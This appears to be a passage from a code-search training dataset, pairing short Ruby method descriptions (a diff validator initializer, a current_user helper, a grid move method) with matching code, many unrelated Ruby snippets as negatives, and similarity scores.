"0.7956828",
"0.79543626",
"0.79534435",
"0.79248935",
"0.79247665",
"0.7910225",
"0.79091406",
"0.7903352",
"0.7901717",
"0.7890828",
"0.78900176",
"0.7889972",
"0.78885126",
"0.7888381",
"0.78801155",
"0.7879916",
"0.7879452",
"0.7876941",
"0.7874059",
"0.78718734",
"0.7871181",
"0.7863797",
"0.78345567",
"0.78343433",
"0.78321016",
"0.7828564",
"0.78157675",
"0.78018886",
"0.7801294",
"0.7796605",
"0.7788439",
"0.777147",
"0.7756666",
"0.77425265",
"0.7737658",
"0.7736441",
"0.77334887",
"0.77311045",
"0.77287215",
"0.7719954",
"0.771438"
] |
0.79903084
|
49
|
diff a +Roomorama::Diff+ object On initialization the +validate!+ method of the diff is called therefore, an operation cannot be built unless the property given is conformant to the basic validations performed on that class.
|
def initialize(diff)
@property_diff = diff
property_diff.validate!
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def diff=(o); end",
"def validations_for_diff\n []\n end",
"def set_diff\n @diff = Diff.find(params[:id])\n end",
"def diff(other)\n Distance.diff_total(self, other, true)\n end",
"def set_diff\n @diff = Diff.find(params[:id])\n end",
"def create\n @diff = Diff.new(diff_params)\n\n respond_to do |format|\n if @diff.save\n format.html { redirect_to @diff, notice: 'Diff was successfully created.' }\n format.json { render :show, status: :created, location: @diff }\n else\n format.html { render :new }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @diff = Diff.new(diff_params)\n\n respond_to do |format|\n if @diff.save\n format.html { redirect_to @diff, notice: 'Diff was successfully created.' }\n format.json { render :show, status: :created, location: @diff }\n else\n format.html { render :new }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def diff(other)\n HQMF::Measure::LogicExtractor.get_measure_logic_diff(self,other,true)\n end",
"def diff_to_compare; end",
"def evaluateDiffResult()\n\n end",
"def diff(other, options={})\n Differences::Entry.compute(self, other, diff_criteria(options), options)\n end",
"def diff?\n self.class.instance_methods.include?(:diff)\n end",
"def diff(from, to)\n @repository.diff(from, to, path)\n end",
"def set_diff_expr\n @diff_expr = DiffExpr.find(params[:id])\n end",
"def add!(diff, diff_operation, object)\n key = Key.new(diff.type, diff_operation)\n (@diffs[key] ||= []) << object\n self\n end",
"def diff(objectish = 'HEAD', obj2 = nil)\n Git::Diff.new(self, objectish, obj2)\n end",
"def diff\n @diff ||= instance.client.createDiffHTML(padID: pad.id, startRev: start_rev, endRev: end_rev)\n end",
"def validates_different(*attr_names)\n validates_with ValidatesAll::DifferenceValidator, _merge_attributes(attr_names)\n end",
"def diff1; end",
"def diff(opts)\n from, to = opts[:from], opts[:to]\n if from && !(Commit === from)\n raise ArgumentError, \"Invalid sha: #{from}\" if from !~ SHA_PATTERN\n from = Reference.new(:repository => self, :id => from)\n end\n if !(Commit === to)\n raise ArgumentError, \"Invalid sha: #{to}\" if to !~ SHA_PATTERN\n to = Reference.new(:repository => self, :id => to)\n end\n Diff.new(from, to, git_diff_tree('--root', '--full-index', '-u',\n opts[:detect_renames] ? '-M' : nil,\n opts[:detect_copies] ? '-C' : nil,\n from ? from.id : nil, to.id, '--', *opts[:path]))\n end",
"def difference\n end",
"def diff(other_message)\n out = self.class.new\n\n self.class.valid_attrs.each do |attr|\n ours = read(attr)\n theirs = other_message.read(attr)\n\n if ours != theirs\n out.write(attr, ours)\n end\n end\n\n out\n end",
"def diff2; end",
"def validate(spec)\n raise \"undefined method -- `validate'\"\n end",
"def diff\n @diff ||= begin\n commit.diffs.collect{|diff| diff.diff}.join(\"\\n\")\n end\n end",
"def initialize(diff)\n @diff = diff\n @curr_changed_file = nil\n @prev_changed_file = nil\n @changed_lines = []\n @files_and_lines = {}\n build\n end",
"def reuse_validation_diff(other)\n original, reference = prepare_reuse_validation_diff(other)\n\n return if original == reference\n\n diff_values = original.to_a - reference.to_a\n diff_values.to_h\n end",
"def persistable_diff(a, b)\n diff = Diff::LCS.diff a, b\n reify_diff_element(diff).as_json\n end",
"def diff(from, to)\n @repo.diff(from, to).path(path)\n end",
"def update\n respond_to do |format|\n if @diff.update(diff_params)\n format.html { redirect_to @diff, notice: 'Diff was successfully updated.' }\n format.json { render :show, status: :ok, location: @diff }\n else\n format.html { render :edit }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @diff.update(diff_params)\n format.html { redirect_to @diff, notice: 'Diff was successfully updated.' }\n format.json { render :show, status: :ok, location: @diff }\n else\n format.html { render :edit }\n format.json { render json: @diff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def diff(model = self.class.find(id), &block)\n collect_differences(\n self.class.diffable_attributes.map { |a| [ a.to_sym, send(a), model.send(a) ] },\n &block\n )\n end",
"def diff(actor, from=nil, to=nil)\n from ||= current_revision(actor)\n to ||= \"HEAD\"\n `#{svn} diff #{authorization} #{rep_path}@#{from} #{path}@#{to}`\n end",
"def differ\n @differ ||= Differ.new(externals)\n end",
"def diff(other)\n if engine != other.engine && @input_engine\n [:engine, engine, other.engine]\n elsif version != other.version\n [:version, version, other.version]\n elsif engine_version != other.engine_version && @input_engine\n [:engine_version, engine_version, other.engine_version]\n elsif patchlevel != other.patchlevel && @patchlevel\n [:patchlevel, patchlevel, other.patchlevel]\n end\n end",
"def diff(v)\n CAS::Help.assert(v, CAS::Op)\n\n if @x.depend? v\n return @x.diff(v)\n end\n CAS::Zero\n end",
"def diff(from, to=nil)\n scm :diff, repository, authentication, \"-r#{from}:#{to || head}\"\n end",
"def diff(other, callbacks = nil, &block)\n Diff::LCS.diff(self, other, callbacks, &block)\n end",
"def creation?\n self.diff['attributes']['new'] && !self.diff['attributes']['old']\n end",
"def test_diff\n \tassert_equal(UI.parseCommand('diff', DiffCmd1*\" \"),UI.main(DiffCmd1))\n \tassert_equal(UI.parseCommand('diff', DiffCmdInv*\" \"),UI.main(DiffCmdInv))\n end",
"def unmerged_diffs\n compare.diffs(Commit.max_diff_options)\n end",
"def compare_property_vs_target(property, target); end",
"def diffable?\n true\n end",
"def diff(other)\n if engine != other.engine && @input_engine\n [:engine, engine, other.engine]\n elsif !version || !matches?(version, other.version)\n [:version, version, other.version]\n elsif @input_engine && !matches?(engine_version, other.engine_version)\n [:engine_version, engine_version, other.engine_version]\n elsif patchlevel && (!patchlevel.is_a?(String) || !other.patchlevel.is_a?(String) || !matches?(patchlevel, other.patchlevel))\n [:patchlevel, patchlevel, other.patchlevel]\n end\n end",
"def diff(other)\n require_cmd! diff_cmd\n out = nil\n\n begin\n this_dir = unpack\n other_dir = other.is_a?(Polisher::Gem) ? other.unpack :\n (other.is_a?(Polisher::Git::Repo) ? other.path : other)\n result = AwesomeSpawn.run(\"#{diff_cmd} -r #{this_dir} #{other_dir}\")\n out = result.output.gsub(\"#{this_dir}\", 'a').gsub(\"#{other_dir}\", 'b')\n rescue\n ensure\n FileUtils.rm_rf this_dir unless this_dir.nil?\n FileUtils.rm_rf other_dir unless other_dir.nil? ||\n !other.is_a?(Polisher::Gem)\n end\n\n out\n end",
"def create(difference)\n nil\n end",
"def -(op)\n CAS::Diff.new self, op\n end",
"def diff(other_variable, options={})\n Differences::Entry.compute(self, other_variable, diff_criteria(options), options)\n end",
"def changes; self.diff @pristine; end",
"def diff_init(diff, path)\n Smash.new.tap do |di|\n if diff.size > 1\n updated = diff.find_all { |x| x.first == \"+\" }\n original = diff.find_all { |x| x.first == \"-\" }\n di[:original] = Array(original).map(&:last).join(\", \")\n di[:updated] = Array(updated).map(&:last).join(\", \")\n else\n diff_data = diff.first\n di[:path] = path\n if diff_data.size == 3\n di[diff_data.first == \"+\" ? :updated : :original] = diff_data.last\n else\n di[:original] = diff_data[diff_data.size - 2].to_s\n di[:updated] = diff_data.last.to_s\n end\n end\n end\n end",
"def initialize(name, win_condition, diff, available_tokens=nil) \n # invariant \n pre_init(win_condition, available_tokens)\n\n @difficulty = diff\n super(name, win_condition, available_tokens)\n\n post_init\n invariant \n end",
"def apply(diffs)\n diffs.each do |diff|\n flag, key, v1, v2 = diff\n if key =~ /\\[/\n keyname, is_array, index = key.match(/^(.*)(\\[)(.*)\\]$/).captures\n else\n keyname = key\n end\n\n property = PropertyMappings[keyname]\n if property\n case flag\n when '~'\n # change a value in place\n\n if keyname == 'other.dob'\n # date-of-birth must be formatted correctly\n dob = v1 && Date.parse(v1).to_time\n set(property, dob)\n\n elsif keyname == 'org.is_org'\n # must merge with other flags\n set_org(property, v1)\n\n elsif keyname == 'other.note'\n # for notes, we concatenate, not replace\n newnote = [v1, v2].join(\"\\n\\n\")\n set(property, newnote)\n\n elsif is_array\n raise \"SOMETHING IS WRONG - NOT SUPPOSED TO EVER CHANGE ARRAY ENTRIES IN PLACE, ALWAYS DELETE & ADD\"\n\n else\n # puts \"MAP #{keyname} TO #{property} AND SET TO #{v1}\"\n set(property, v1)\n end\n\n when '+'\n # add something\n if keyname == 'other.dob'\n # date-of-birth must be formatted correctly\n dob = v1 && Date.parse(v1).to_time\n set(property, dob)\n elsif keyname == 'org.is_org'\n # must merge with other flags\n set_org(property, v1)\n elsif is_array\n # multivalue property\n if property == []\n add_link(v1)\n else\n addmulti(property.first, v1, property.last)\n end\n else\n # scalar property\n set(property, v1)\n end\n\n when '-'\n # remove something\n if is_array\n # multivalue property\n if property == []\n del_link(index.to_i, v1)\n else\n # delmulti(property.first, index.to_i)\n delcomplex(keyname, v1)\n end\n else\n # scalar property\n if keyname == 'org.is_org'\n # must clear a flag bit, not wipe the entire flag\n set_org(property, 0)\n else\n # set the value to nil\n set(property, nil)\n end\n end\n end\n else\n if keyname == 'xref.ab'\n raise \"*** DO NOT APPLY CHANGES TO UID VALUE ***\"\n else\n raise \"NO PROPERTY MAPPING FOR KEY #{keyname}\"\n end\n end\n end\n end",
"def initialize(a, b)\n\t\t\t@a = \"\"\n\t\t\t@b = \"\"\n\t\t\t@b_linenumber = -1\n\t\t\t@differences = []\n\t\t\t@worddiff = WordDiff.new(\"\", \"\")\n\t\t\n\t\t\trun_diff(a, b)\n\t\tend",
"def diff(from, to=nil)\n scm :diff, repository, authentication, \"-r#{from}:#{to || head}\"\n end",
"def diff(prefix, diff_format)\n versions = OneCfg::EE::Config::Versions.new\n migrators = versions.migrators\n migrators = migrators.get_migrators_range(migrators.all_from,\n versions.cfg_version)\n migrators.select! {|m| m.yaml? }\n\n migrator = migrators.last\n\n # load YAML descriptor\n if migrator.nil?\n raise OneCfg::Config::Exception::UnsupportedVersion,\n 'Could not find suitable migrator with files'\n end\n\n migrator.load_yaml\n\n if !migrator.yaml || !migrator.yaml['patches']\n # this should not happen\n raise OneCfg::Config::Exception::FatalError,\n \"Migrator for #{migrator.label} doesn't have valid YAML\"\n end\n\n ###\n\n OneCfg::LOG.debug('Comparing against state from ' \\\n \"#{migrator.label} migrator\")\n\n patch_gen = OneCfg::EE::Patch::Generate.new(prefix)\n\n # process each file from descriptor\n migrator.yaml['patches'].each do |name, info|\n patch_gen.add(name, info)\n end\n\n case diff_format\n when 'yaml'\n patch_gen.generate_yaml\n when 'line'\n patch_gen.generate_line\n else\n patch_gen.generate_hintings\n end\n end",
"def show\n respond_with(create_presenter(:diff, GetDiff.new(params)))\n end",
"def diff?(model = self.class.find(id))\n self.class.diffable_attributes.each do |attribute|\n return true if send(attribute) != model.send(attribute)\n end\n return false\n end",
"def diff_cmd(file, version)\n fail \"The #{self.class} driver does not support the diff_cmd method!\"\n end",
"def diff_params\n params.require(:diff).permit(:content)\n end",
"def diferent\n \t\tif team_id == team_id\n \t\t\terrors.add(:team_id, 'ERROR')\n \t\t end\n \tend",
"def initialize(unified_diff, options={})\n @unified_diff = unified_diff\n @generator = validate_generator(options[:generator] || BasicGenerator)\n @out_encoding = options[:out_encoding] || 'utf-8'\n @options = options\n end",
"def prepare_reuse_validation_diff(other)\n original = self.reload!.comparable\n reference = other.reload!.comparable\n unique_identifiers.each { |id| reference[id] = original[id] }\n [original, reference]\n end",
"def diff(from, to=nil)\n from << \"..#{to}\" if to\n scm :diff, from\n end",
"def reload_diffs\n new_attributes = {}\n new_diffs = []\n\n if commits.size.zero?\n new_attributes[:state] = :empty\n else\n diff_collection = unmerged_diffs\n\n if diff_collection.overflow?\n # Set our state to 'overflow' to make the #empty? and #collected?\n # methods (generated by StateMachine) return false.\n new_attributes[:state] = :overflow\n end\n\n new_attributes[:real_size] = diff_collection.real_size\n\n if diff_collection.any?\n new_diffs = dump_diffs(diff_collection)\n new_attributes[:state] = :collected\n end\n end\n\n new_attributes[:st_diffs] = new_diffs\n\n new_attributes[:start_commit_sha] = self.target_branch_sha\n new_attributes[:head_commit_sha] = self.source_branch_sha\n new_attributes[:base_commit_sha] = branch_base_sha\n\n update_columns_serialized(new_attributes)\n\n keep_around_commits\n end",
"def diff(&block); end",
"def diff\n return if diffs.empty?\n\n minimized_hunk.diff(:unified) + NEWLINE\n end",
"def difference(other)\n new(to_ary - other)\n end",
"def diff\n \trespond_in_format Marginalia.diff(params[:id])\n end",
"def destruction?\n self.diff['attributes']['old'] && !self.diff['attributes']['new']\n end",
"def get_rule_diff(new_rule_hash)\n existing_rule = parse_firewall_rule(new_rule_hash['name'])\n diff = []\n new_rule_hash.each do |key, val| # Only compare fields that exist in the firewall_rule resource\n diff_rule_field(diff, existing_rule, key, val)\n end\n log_rule_diff(existing_rule, new_rule_hash, diff)\n return diff\n end",
"def initialize(unified_diff, options={})\n @input = escape_html(unified_diff)\n @options = options\n end",
"def diff(v1, v2)\n repos.git.diff(v1, v2, path)\n end",
"def diff_from_parent(options = {})\n @repository.gitaly_commit_client.diff_from_parent(self, options)\n end",
"def set_product_diff\r\n @product_diff = ProductDiff.find(params[:id])\r\n end",
"def validate!\n validate_patches!\n validate_new_branch_name! if new_branch?\n validate_permissions!\n end",
"def initialize(diffs, _logger = nil)\n @diffs = diffs\n @results = nil\n end",
"def diffable?\n false\n end",
"def diffable?\n false\n end",
"def generate_diff\n jsons = version_jsons.map { |j| pretty_json(j) }\n differ = Differ.send(diff_method, *jsons).format_as(:html)\n differ.gsub!('<ins', \"\\n<ins\") if diff_method == :diff_by_line\n @diff = sanitize(differ).html_safe\n end",
"def differences\n @attributes[:differences]\n end",
"def diff_edits_from_empty\n diff_edits(true)\n end",
"def attach!(diff)\n update!(:body => diff)\n end",
"def mu_pp_for_diff(obj); end",
"def diffyable\n # add appropriate diff column data for diff.right and diff.left and update other attrs to the Diffy way®\n\n w1id = self.work1\n w2id = self.work2\n w1work = Work.find(w1id)\n w2work = Work.find(w2id)\n w1md = w1work.file_content_md\n w2md = w2work.file_content_md\n w1txt = w1work.file_content_text\n w2txt = w2work.file_content_text\n\n html = Diffy::Diff.new(w1md, w2md).to_s(:html)\n md = Diffy::Diff.new(w1md, w2md).to_s\n text = Diffy::Diff.new(w1txt, w2txt).to_s\n \n lucy = Diffy::SplitDiff.new(w1md, w2md, :format => :html).left\n recha = Diffy::SplitDiff.new(w1md, w2md, :format => :html).right\n\n html.force_encoding(\"UTF-8\").scrub!\n md.force_encoding(\"UTF-8\").scrub!\n text.force_encoding(\"UTF-8\").scrub!\n\n lucy.force_encoding(\"UTF-8\").scrub!\n recha.force_encoding(\"UTF-8\").scrub!\n\n self.update_attributes(left: lucy, right: recha, diff_md: md, diff_html: html, diff_text: text)\n self.save\n end",
"def assert_difference(objects, method = nil, difference = 1)\n objects = [objects].flatten\n initial_values = objects.inject([]) { |sum,obj| sum << obj.send(method) }\n yield\n if difference.nil?\n objects.each_with_index { |obj,i|\n assert_not_equal initial_values[i], obj.send(method), \"#{obj}##{method}\"\n }\n else\n objects.each_with_index { |obj,i|\n assert_equal initial_values[i] + difference, obj.send(method), \"#{obj}##{method}\"\n }\n end\n end",
"def validate\n assert_present :source_target_id\n assert_present :source_target_class\n assert_present :dest_target_id\n assert_present :dest_target_class\n assert_present :source_entity_id\n end",
"def diff\n element_name = happy_path? ? @processor.kind.output_name : @processor.kind.error_name\n html_diff(\n @ciat_file.element(element_name).as_file,\n @ciat_file.element(element_name, :generated).as_file, \n @ciat_file.element(element_name, :diff).as_file)\n end",
"def diff_hash\n {\n diff: diff_hunk,\n new_path: file_path,\n old_path: file_path,\n\n # These fields are not displayed for LegacyDiffNote notes, so it\n # doesn't really matter what we set them to.\n a_mode: '100644',\n b_mode: '100644',\n new_file: false\n }\n end",
"def validate_instance\n super\n # @wfd_show/edit_paramaeters must be arrays of symbols\n @wfd_show_parameters.each_with_index do |sp,i|\n unless sp.kind_of? Symbol then\n raise ArgumentError.new( \"permitted show parameter at [ #{ i } ] = #{ sp.to_s } is not a Symbol\" )\n end\n end\n @wfd_edit_parameters.each_with_index do |ep,i|\n unless ep.kind_of? Symbol then\n raise ArgumentError.new( \"permitted edit parameter at [ #{ i } ] = #{ ep.to_s } is not a Symbol\" )\n end\n end\n # @wfd_show/edit_parameters must not have duplicates\n dup_param1 = @wfd_show_parameters.detect {|e| @wfd_show_parameters.rindex(e) != @wfd_show_parameters.index(e) }\n unless dup_param1.nil? then\n raise ArgumentError.new( \"permitted show parameter #{ dup_param1 } occurs more than once.\")\n end\n dup_param1 = @wfd_edit_parameters.detect {|e| @wfd_edit_parameters.rindex(e) != @wfd_edit_parameters.index(e) }\n unless dup_param1.nil? then\n raise ArgumentError.new( \"permitted edit parameter #{ dup_param1 } occurs more than once.\")\n end\n # intersection of both arrays should be empty because at any time\n # a parameter can only be shown or editable...\n dup_params = @wfd_show_parameters & @wfd_edit_parameters\n unless dup_params.length == 0\n raise ArgumentError.new( \"parameters #{ dup_params.to_s } are defined to both show and edit\" )\n end\n end",
"def difference(another_geometry)\n raise Error::UnsupportedOperation, \"Method Geometry#difference not defined.\"\n end",
"def difference(fa)\n perform_set_operation(:difference, fa)\n end",
"def test_ut_diff_warning_02\n assert_equal 2,@diff_warning.diff_status_id\n assert_equal 1,@diff_warning.diff_file_id\n assert_equal 1,@diff_warning.rule_set\n assert_equal 1,@diff_warning.warning_id\n assert_equal 1,@diff_warning.original_file_id\n end",
"def call(diff, _)\n super do\n diff.reject(&:deleted?).map(&:new_relative_path).grep(spec_pattern)\n end\n end",
"def validate_other!(other)\n if other.kind_of?(self.class)\n raise ArgumentError, \"other #{self.class} must belong to the same repository\" unless other.resource.repository == @resource.repository\n elsif !other.kind_of?(Hash)\n raise ArgumentError, \"other must be a #{self.class} or Hash object\"\n end\n end",
"def validate(spec)\n range = spec['range']\n match_delta(range, node.transform) ? true : false\n end",
"def initialize(property)\n @property = property\n property.validate!\n end",
"def patch diff, direction\n i = j = 0\n diff.diff.each do |change|\n action = PATCHHASH[direction][change.action]\n case action\n when '-'\n while i < change.position\n i += 1\n j += 1\n end\n if direction == :patch\n @fileContent.delete_at(i)\n else\n @fileContent.delete_at(i + 1)\n end\n i += 1\n when '+'\n while j < change.position\n i += 1\n j += 1\n end\n @fileContent.insert j, change.element\n j += 1\n end\n end\n end",
"def cmd_diff\n print_tree(DiffEditor, nil, true)\n end",
"def diff(lptr, rptr)\n ptr = Convert(lptr, :pointer)\n Instruction.from_ptr(C.build_ptr_diff(@builder.to_ptr, ptr, Convert(rptr, ptr.type), \"\"))\n end",
"def validate\n validator_class.new(self).validate\n end"
] |
[
"0.5888004",
"0.579868",
"0.5742015",
"0.5716486",
"0.5702969",
"0.5677127",
"0.5677127",
"0.5672885",
"0.56115377",
"0.5599995",
"0.55511904",
"0.54775083",
"0.54403776",
"0.539374",
"0.5368911",
"0.5368604",
"0.53400016",
"0.53202206",
"0.53082556",
"0.5255844",
"0.521863",
"0.52183735",
"0.5216001",
"0.52144325",
"0.52128077",
"0.52085066",
"0.5197806",
"0.5162176",
"0.5156187",
"0.5122847",
"0.5122847",
"0.5120676",
"0.50941443",
"0.50802684",
"0.5075513",
"0.50651306",
"0.5045346",
"0.50303596",
"0.50248945",
"0.5008774",
"0.49982142",
"0.49885753",
"0.49853876",
"0.4976642",
"0.49626693",
"0.49543718",
"0.4947875",
"0.49448523",
"0.4938377",
"0.4933977",
"0.49277943",
"0.49200687",
"0.49024957",
"0.4900965",
"0.48826295",
"0.4881898",
"0.48802996",
"0.4864884",
"0.4856101",
"0.48403576",
"0.4838223",
"0.48254406",
"0.48205972",
"0.4816989",
"0.48121694",
"0.48049754",
"0.47947943",
"0.4777552",
"0.47676277",
"0.4764533",
"0.47633272",
"0.47605637",
"0.47586557",
"0.47513407",
"0.47462732",
"0.4738399",
"0.47353792",
"0.47353792",
"0.47343332",
"0.4724386",
"0.47038078",
"0.46964765",
"0.46921146",
"0.46877187",
"0.46773785",
"0.46636507",
"0.46599373",
"0.46438584",
"0.46369532",
"0.46291718",
"0.4621839",
"0.4614976",
"0.4613099",
"0.4612126",
"0.46086684",
"0.46081716",
"0.4606766",
"0.46025157",
"0.459962",
"0.45961565"
] |
0.78430396
|
0
|
Helpers / Methods used in other actions
|
def current_user
if session[:current_user_id]
@current_user ||= User.find(session[:current_user_id])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def actions; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def helpers; end",
"def helpers; end",
"def helpers; end",
"def action_hook; end",
"def action args = {}\n\t\tend",
"def lookup_action; end",
"def action\n end",
"def action\n end",
"def act\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def run_actions; end",
"def action_name; end",
"def add_actions; end",
"def action\n super\n end",
"def action_target()\n \n end",
"def action_run\n end",
"def define_action_helpers; end",
"def private; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def action_locator_args()\n \n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def action\n yield\n end",
"def who_we_are\r\n end",
"def factions\n \n end",
"def determine_valid_action\n\n end",
"def operations; end",
"def operations; end",
"def actions() ; info[:actions] ; end",
"def actions() ; info[:actions] ; end",
"def workflow\n end",
"def _my_action_action\n {:text => \"Not used\"}\n end",
"def get_action_info action_detail\n get_one_of action_detail\nend",
"def default_action; end",
"def handler; end",
"def handler; end",
"def before_dispatch(_env)\n end",
"def _handle_action_missing(*args); end",
"def define_action_helpers?; end",
"def method_for_action(action_name); end",
"def action\n args.first\n end",
"def save_action; end",
"def do_action(action, args=[])\n case action\n when 1\n Customer.create_a_customer_account\n output_action_header(\"\\nCustomer Added!\")\n between_views\n when 2\n ActiveCustomer.list\n between_views\n when 3\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Payment.add_payment_to_active_customer\n output_action_header(\"\\nPayment Added!\")\n between_views\n else\n Payment.add_payment_to_active_customer\n output_action_header(\"\\nPayment Added!\")\n between_views\n end\n when 4\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.add_product_to_active_customer\n output_action_header(\"\\nProduct Added!\")\n between_views\n else\n Product.add_product_to_active_customer\n output_action_header(\"\\nProduct Added!\")\n between_views\n end\n when 5\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.add_product_to_active_customer_order\n between_views\n else\n Product.add_product_to_active_customer_order\n between_views\n end\n when 6\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n CompleteOrder.get_active_user_order\n between_views\n else\n CompleteOrder.get_active_user_order\n between_views\n end\n when 7\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.remove_product\n between_views\n else\n Product.remove_product_customer\n between_views\n end\n when 8\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n Product.update_product\n between_views\n else\n Product.update_product_customer\n between_views\n end\n when 9\n Product.stale_products\n between_views\n when 10\n if $ACTIVE_CUSTOMER_ID == nil\n ActiveCustomer.list\n CustomerRevenue.check_active_customer_rev\n between_views\n else\n CustomerRevenue.check_active_customer_rev\n between_views\n end\n when 11\n Product.product_popularity\n between_views\n when 12\n return :quit\n else\n puts \"I don't understand that command\"\n end\n end",
"def process_action(...)\n send_action(...)\n end",
"def current_action\n @action\n end",
"def copy_actions\r\n end",
"def before_dispatch(env); end",
"def refutal()\n end",
"def feedback\n end",
"def student_actions\n case params[:thing_to_do]\n when 'Advance year'\n advance_students\n when 'Revert year'\n revert_students\n when 'Deactivate'\n mass_deactivate\n when 'Activate'\n mass_reactivate\n when 'Edit teacher'\n editing_teacher\n when 'Assign tutor'\n assigning_tutor\n when 'Add notes'\n adding_notes\n else\n message = { message: 'That action is not defined.' }\n render json: message, status: :unprocessable_entity\n end\n end",
"def handle_action(username, actiontype)\n \n end",
"def before_action \n end",
"def helper(action, targetNoun, itemNoun, entities, inventory)\n target = action[targetNoun]\n if !target.nil? && entities.find { |x| x.to_sym == target.target }\n result = target[itemNoun]\n return [:success, target.target, result.result] if \n (!result.nil? && inventory.find { |x| x.to_sym == itemNoun.to_sym })\n end\n return nil\n end",
"def methods() end",
"def operation; end",
"def pray\n\n\tend",
"def action(unit)\n\tend",
"def request_result\n \n end",
"def perform_action(data); end",
"def method\n\t\t# code code\n\tend",
"def get()\n \n end",
"def action=(_arg0); end",
"def suivre; end",
"def post; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def failsafe_action\n super\n end",
"def action_missing(*)\n end",
"def show\n\t\t#show now run by find_book and before_action\n\t\t#keeps code dry\n\tend",
"def admin_logic\n end",
"def resource; end",
"def private_method\n end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end"
] |
[
"0.7130285",
"0.6954717",
"0.6954717",
"0.6954717",
"0.6954717",
"0.6954717",
"0.6764997",
"0.6764997",
"0.6764997",
"0.6710499",
"0.6671329",
"0.6482468",
"0.6465909",
"0.6358732",
"0.63319266",
"0.63175964",
"0.63175964",
"0.63175964",
"0.62950355",
"0.62941855",
"0.62921053",
"0.6290666",
"0.62544894",
"0.62060213",
"0.6174919",
"0.6132417",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.61310875",
"0.60556775",
"0.6048086",
"0.6048086",
"0.6048086",
"0.6048086",
"0.6048086",
"0.6048086",
"0.59794337",
"0.59762543",
"0.5974913",
"0.59441656",
"0.59441656",
"0.5911374",
"0.5911374",
"0.5876998",
"0.5876563",
"0.58665586",
"0.58346033",
"0.5830412",
"0.5830412",
"0.58299744",
"0.5818512",
"0.58114433",
"0.57926095",
"0.5757112",
"0.57530814",
"0.5729993",
"0.5719879",
"0.5708942",
"0.5689687",
"0.56885004",
"0.5686168",
"0.5681707",
"0.56807816",
"0.56803715",
"0.56795865",
"0.5670593",
"0.56676453",
"0.5657389",
"0.5656276",
"0.5646969",
"0.5637244",
"0.56280315",
"0.5625787",
"0.5622652",
"0.56211627",
"0.5619238",
"0.5609018",
"0.56077254",
"0.56077254",
"0.56077254",
"0.56077254",
"0.5607587",
"0.5602618",
"0.55978763",
"0.55903697",
"0.5587693",
"0.5578719",
"0.5571061",
"0.5571061",
"0.5571061",
"0.5571061",
"0.5571061",
"0.5571061"
] |
0.0
|
-1
|
will move an element in one direction. will do nothing if the square is not open.
|
def move(cell, direction)
return unless cell.contents
target = look(cell, direction)
if target.open?
target.contents = cell.contents
cell.contents = nil
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move\n return unless placed?\n # no need to use a loop since the length is only 2\n new_x = @pos_x + @direction[:x]\n new_y = @pos_y + @direction[:y]\n\n return unless valid_position?(new_x, new_y)\n set_position(new_x, new_y)\n end",
"def move_west\n @x -= 1\n end",
"def move(left, top)\n # no-op\n end",
"def move(direction)\n \n end",
"def move; end",
"def move; end",
"def move\n return unless placed?\n # We know place() will already ignore invalid placements, so just advance\n # the robot and let it fail silently if those positions are not on the board\n place(*next_position, direction)\n end",
"def move\n \n end",
"def move\n \n end",
"def move_to to\n\t\td = Distance.get( @square, to)\n\t\tmove d.dir( @square), to\n\tend",
"def move\n\n end",
"def move(new_square)\n @opening_move = false if opening_move\n super(new_square)\n end",
"def move\n move_by a, m\n end",
"def move\n\t\tif @direction == \"N\"\n\t\t\t@y += 1\n\t\telsif @direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif @direction == \"E\"\n\t\t\t@x += 1\n\t\telsif @direction == \"S\"\n\t\t\t@y -= 1\n\t\tend\n\tend",
"def move\n if @direction.north? then @y += 1\n elsif @direction.south? then @y -= 1\n elsif @direction.east? then @x += 1\n elsif @direction.west? then @x -= 1\n end\n return self\n end",
"def move_to(x, y); end",
"def update_move\n if !@ch.moving? && @moves.size > 0\n @moves.shift if proccess_move(@moves[0])\n end\n end",
"def move(direction)\n @old = @pos\n @pos += direction\n end",
"def move( x, y=nil )\n self.dup.move!(x, y)\n end",
"def do_the_move(argument)\r\n color, row_s, col_s, row_e, col_e = strip_pos_argument(argument)\r\n start_item = @infosquare[row_s][col_s]\r\n end_item = @infosquare[row_e][col_e]\r\n if movetype == :shortcastle or movetype ==:longcastle\r\n move_castle(start_item, end_item)\r\n elsif movetype == :enpassant\r\n col_enp = end_item.col\r\n row_enp = start_item.row\r\n eated_item = @infosquare[row_enp][col_enp]\r\n eated_item.clear\r\n else\r\n BoardInfoItem.exchange(start_item, end_item)\r\n end\r\n @last_moved_item = end_item\r\n \r\n end",
